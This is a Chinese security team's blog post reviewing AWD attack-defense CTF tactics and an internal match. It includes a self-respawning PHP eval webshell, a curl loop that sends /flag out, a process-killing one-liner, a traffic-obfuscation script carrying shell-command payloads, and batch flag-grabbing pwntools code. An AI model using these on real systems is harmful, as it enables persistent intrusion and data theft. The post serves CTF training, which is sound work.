点击蓝字 · 关注我们
1
书
看了⼀下《从0到1CTFer成⻓之路》中的AWD章节,这部分章节内容少,针对参赛经验少或者从未参赛的读者,分为 四个部分:赛前准备、⽐赛技巧、流量分析、漏洞修复四个⽅⾯进⾏讲解。
2
网络
https://edwardchoijc.github.io/CTF线下AWD经验总结.html 这位师傅总结了⼀部分,这篇⽂章是2017年的,虽然⽐较久远,但是对于新⼿还是⾮常⾹的。
因为⾃⼰是Mac,没有Windows Xshell的⽂件上传下载⽅便,平常都是iterm2进⾏远程,⽂件就scp或者⾃⼰服务器端 ⽤lz,苏安师傅推荐了FinalShell,⽂件上传下载确实舒服很多,其他功能感受也很好,推荐。
1
备份
⽹站的路径在/var/www/html (注意要在可写的路径下) 测试发现数据库的账号密码均为root。
tar cvf <name>.tar /var/www/*
mysqldump -uroot -proot <database> < bak.sql
2
上waf(假装赛⽅允许的情况下)
这⼀部分,可以参考Github上的⼀些开源项⽬
https://github.com/DasSecurity-HatLab/AoiAWD
但是,在上传的时候我发现了⼀个问题,⽹站⽬录(/var/www/html)⽤户(ctf)不可写的情况。因为第⼀次⻅,做了⼏个 尝试。
内核提权(没成功)
suid提权(没成功)
试了两个之后,换了⼀下思路,毕竟是攻防题⽬,现给⾃⼰上个⻢,然后⽤⻢进⾏上传,这个思路是可⾏的。
3
流量分析
因为是线上的AWD,所以对⽐线下有些地⽅就节省了⼀下,我⼀开始还纠结没有root怎么去使⽤tcpdump。
因为账号不具有root权限,所以没有办法⾃⾏的使⽤tcpdump进⾏流量抓包,运维直接⽤root权限的账号执⾏脚本⾃动进⾏ 流量抓包存放在了/data/⽬录下。
root 370 367 0 05:37 pts/0 00:00:00 tcpdump -i eth0 dst port 80 -s0 -G 600 -Z root
-w /root/data/%Y_%m%d_%H%M_%S.pcap
下载下来直接分析即可。
4
上⻢获取shell
找了⼀个POC直接打,有些线下⽐赛是不能联⽹的,所以漏洞库⼀定要⼤
https://cloud.tencent.com/developer/article/1459265
除此之外,还要写批量提交Flag,批量利⽤shell获取Flag的脚本 有些⼈为了不让别⼈⽤⾃⼰的⻢,会在⼀句话前⾯加上⼀个if判断,但是如果能看流量的话,就是没有⽤的。还有就是不死⻢。
<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.config.php';$code =
'<?php if(md5($_GET["p"])=="3691308f2a4c2f6983f2880d32e29c84"){@eval($_POST[a]);} ?>';while(1)
{file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12"
.config.php');usleep(1000);}?>
苏安师傅讲了很多的⼲货
1
flag位置
⼀般情况在根⽬录/
线下赛可能存在flag server⽤⽬标靶机请求flag server地址,获得flag
2
信息搜集
根据拿到的IP地址进⾏推测,例如⾃⼰拿到172.35.2.11:80,其他⼈可能是172.35.1-80.11:80
要进⾏范围扫描利⽤漏洞,注意线程数(可能有的线下赛会有流量控制导致⼀定数量包之后的包都⽆法被接收)
3
服务发现
netstat -ntlp
在⼤多数的web和ssh、pwn是端⼝映射,其他题⽬类型有统⼀的平台。
4
Web服务信息获取
修改管理员密码(可能会有平台不让你改密码,这时候你可以上数据库进⾏) 现在的ssh登陆都开始公私钥、或者强密码
伪静态:出现Not found ,在前⾯加个index.php
5
Pwn服务信息获取
如果遇到原题,libc⽤系统中的
6
安全加固
可以修改密码⽅便队友交流
备份数据库!导出⾄sql
7
实操注意
1.备份
拿到源码、使⽤D盾等⼯具进⾏扫描是否有后⻔(真的可能会有!) ‼
修改管理员密码(可能会有平台不让你改密码,这时候你可以上数据库进⾏更新)
不能让⽹站down掉,平台会有check脚本,会扣分让别⼈加分。
2.上waf(假装赛⽅允许的情况下)脚本加固(waf)
修改web⽬录权限,设置所有⽤户不可写
8
漏洞修复
重点关注特殊函数和⽤户输⼊
#写⼊对⽅⽬标靶机,不断的交flag
while true; do curl ip/flag=`cat /flag`;sleep 10;done
#杀掉所有的bash进程
ps aux | grep bash | awk '{print "kill-9" $2}' | bash
#更恶⼼的上cs⻢
9
代码审计
推荐⼯具:
https://github.com/suanve/recode
#要过滤⼀下 recode.py -t php > name.log
cat name.log | grep controller | grep -v admin #其实也不⼀定⾮要筛选admin,也可能user前台
cat name.log | grep -v var | grep -E "(call_user_func|eval|assert)"
⼿动审计,要了解常⻅路由的模式
10
pwn的技巧
重放,利⽤流量分析,复制流量
import socket
import time
import binascii
s=socket.socket()
s.connect(("192.168.104.1", 10001))
prints.recv(1024)
data=binascii.a2b_hex("xxxxx")
print(data)
s.send(data)
time.sleep〔1)
print(s.recv(1024))
s.close()
print(data)
1
攻击前准备
连接、备份,数据库账号密码root/root
2
phpDevil
队内师傅D盾扫到了出题⼈留下来的俩后⻔
先给⾃⼰上个⻢,然后把这些后⻔都删掉。这个时候可以开始上WAF和⽂件监控
3
修改管理员密码
发现管理员的弱密码是admin/123456,尝试去修改,使⽤后台上修改密码的⽅式进⾏修改,⽆效,所以就只能进⾏数据库 层⾯上的修改 这⾥没有截图,⼤概猜测是123456硬编码,然后⽤vscode对备份的⽹站⽬录进⾏搜索,发现有md5('123456'),然后 进⼊数据库也发现,密码只经过了md5,换⼀个密码改数据库的值就好了。
update xxx set xxx=xxx where xxx=
通过流量发现了还有⼏个后⻔
看样⼦像出题⼈留的后⻔,不过这种⽅式放后⻔也没有被发现,学到了
4
不死⻢
不知道哪个师傅放了个不死⻢。之前《从0到1》上有两个办法
**循环kill,搭配while true; do ******sleep 10;done
ps aux | grep www-data | awk '[print $2}' | xargs kill
5
内置后⻔
这题还有本身的洞是后台sql,因为我改了密码,所以这个洞暂时没有办法利⽤。
6
总结
我以前认为AWD是专注于找框架漏洞,但他也会是有后⻔、出题⼈⾃⼰做模块这些操作,这也说明找洞是⼀个考点,但 还有其他编写脚本、迅速防御这些考点,所以出题⼈会⾃⼰做⼀些漏洞模拟真实的⽹站漏洞。(之前在做渗透测试的时候, 确实发现有的⽹站早有前⼈之⻋) 关于获取flag,想到上⾯有讲过curl ip/flag的骚操作,就是不去访问定时让服务器发给⾃⼰
补充苏安师傅的混淆流量主要⽬的是隐藏后⻔,我发现在⽐赛tcpdump过程中,数据包⾥没有回显。
@setrange('127.0.0.1-2:9012',thread_num=100)
def mixup(host,port):
admin_url = 'http://'+host+':'+port
path = "/"+mixupfiles()
mixup_header = {}
for i in range(1,random.randint(2,5)):
mixup_header[mixupstr(i)]=mixup_cmd()
payload = admin_url+path
data = {
mixupstr(6):mixup_cmd(),
}
# print(payload,mixup_header,data)
try:
if random.randint(0,1):
requests.post(url=payload, data=data, headers=mixup_header, timeout=1)
else:
requests.get(url=payload+"?{}={}".format(mixupstr(),mixup_cmd()), data=data,
headers=mixup_header, timeout=1)
except:
pass
# ⽤于混淆的命令
def mixup_cmd():
cmd = [
"passthru('cat /var/www/html/{}.txt')".format(mixupstr(6)),
"shell_exec('cat > /var/www/html/public/{}')".format(mixupstr(6)),
"system('cat > /var/www/html/app/{}')".format(mixupstr(6)),
"system('cat /flag');",
"passthru('cat /flag');",
"system('ln -s /flag /var/www/html/1.txt');",
"echo `cat /flag`;",
"var_dump(`cat /flag`);",
"system('ln -s /flag /var/www/html/flag.txt');",
"include('cat /flag');",
"system('ln -s /flag /var/www/html/.jquery.txt');",
"readfile('/flag');",
"file_get_contents('/flag');",
"system('file_put_filecontext('/var/www/html/.1.php','<?php eval($_REQUEST[9]);')');",
]
return cmd[random.randint(1,len(cmd))]
# ⽤户混淆的⽂件名
def mixupfiles():
files = [
"index.php",
".index.php",
".2s.php",
"public/1.php",
"c/2.php",
".asd.dasdasdasd.php",
"index.php.php",
".nu1l.php",
".safeall.php",
".r3start.php",
".edi.php",
".wm.php",
".zxc.php",
".ylb.php",
".r3kapig.php",
".nu1lltwo.php",
".go.php",
"-123.php",
"-t4rn.php",
"-t4rnyyds.php",
"-t4.php",
"+asd.php"
]
[files.append(mixupstr(random.randint(1,10))+"."+mixupstr(3)) for i in range(100)]
return files[random.randint(1,len(files))]
1
elephant
硬编码密码 看db⽂件,很多出题⼈都会把弱⼝令密码硬编码在相关⽂件中,需要去看看。这题不知道伪静态出了什么问题,我访问的时候还是有点奇怪。没有具体的看。
2
ohmymisc
我⼀直看着misc靶机的⽹站,内⼼迷茫,结果misc的题⽬不是在靶机上,我没看到公告。⽐赛过去快两⼩时 我连题⽬都没看到在哪。
GZIP与Base
这个题⽬出题是将password不断地gzip再⽤base64/base32随机选择⼀个编码,然后⼀直套。可以先⽤
Cyberchef(https://gchq.github.io/CyberChef/)
看出来发现是个gzip。
使⽤gunzip
发现⼀堆的base64,然后再解,接下来就是⽤脚本解除passwd了
for i in range(20):
if data[0:4] == b'H4sI':
data = gzip.decompress(base64.b64decode(data))
elif data[0:4] == b'D6FQ':
data = gzip.decompress(base64.b32decode(data))
else:
print(data)
3
os_pwn
from pwn import *
from down import Down
context.log_level = 'debug'
import random
import time
for i in range(1,31):
p = remote("xxxx",43790+i)
p.sendlineafter("$","cp flag tmp/suanve",timeout = 1)
p.sendlineafter("$","cat tmp/suanve",timeout = 1)
res = p.recvuntil("$")
print(res)
然后获取批量获取flag批量交
修pwn需要知道的环境 “你有修的时间都可以批量打下⼀个pwn了” pwn⽂件是可以覆盖的 先将pwn⽂件备份,然后复写修复。
赛前准备(脚本)、⽐赛技巧(pwn、web出题⼈常⻅的伎俩)、流量分析(主要也是为了利⽤)、漏洞修复(苏安:拿分⽐修洞更重要!) 开⼼的⼀天~有时候也蛮享受菜菜的⼀天~感谢EDI各位师傅陪伴的⼀天!
重点来了
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):EDI内部赛赛后总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论